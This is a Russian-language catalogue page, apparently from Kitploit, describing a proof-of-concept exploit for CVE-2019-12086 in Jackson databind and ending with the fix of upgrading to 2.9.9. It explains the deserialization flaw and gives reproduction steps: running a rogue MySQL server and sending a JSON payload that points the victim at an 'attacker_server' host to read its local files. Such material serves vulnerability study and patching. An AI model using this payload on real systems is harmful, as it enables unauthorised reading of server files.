Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-12086-jackson-databind-file-read — Эксплойт, доказывающий концепцию для CVE-2019-12086: уязвимость десериализации в Jackson databind, позволяющая произвольное чтение файлов через поддельный MySQL-сервер при включенном Default Typing. | Kitploit
Инструменты/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

Эксплойт, доказывающий концепцию для CVE-2019-12086: уязвимость десериализации в Jackson databind, позволяющая произвольное чтение файлов через поддельный MySQL-сервер при включенном Default Typing.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1217 лет назадЕщё не проверено

jackson-CVE-2019-12086

Описание уязвимости

Если включен Default Typing, и в classpath присутствует mysql-connector-java версии 8.0.15 (выпущен 2019.2.1) или ниже, злоумышленник может отправить вредоносные JSON-данные для чтения произвольных файлов. Библиотека mysql-connector-java — это популярный MySQL JDBC-драйвер, используемый для подключения к базам данных.

Описание CVE:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

Анализ уязвимости

Детали уязвимости:

  1. При включённом Default Typing Jackson при десериализации JSON может десериализовать указанный класс, а также указать значение базового типа в качестве параметра конструктора этого класса.
  2. Конструктор com.mysql.cj.jdbc.admin.MiniAdmin принимает строковое значение, которое представляет собой jdbcURL. При инициализации класс com.mysql.cj.jdbc.admin.MiniAdmin подключается к базе данных MySQL, указанной в этом jdbcURL.
  3. В mysql-connector-java версии 8.0.15 (выпущен 2019.2.1) или ниже вредоносный сервер MySQL может читать произвольные локальные файлы клиента MySQL, что и приводит к возникновению уязвимости.

Воспроизведение уязвимости

  1. Запустите вредоносный сервер MySQL: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. В той же директории просматривайте mysql.log:

tail -f mysql.log

  1. Отправьте следующий JSON на уязвимое приложение:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. После десериализации вредоносной JSON-строки Jackson подключается к вредоносному серверу MySQL, и содержимое прочитанного файла записывается в mysql.log вредоносного сервера.
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

Исправление уязвимости

Обновите Jackson до версии 2.9.9 или выше.

Скачать инструмент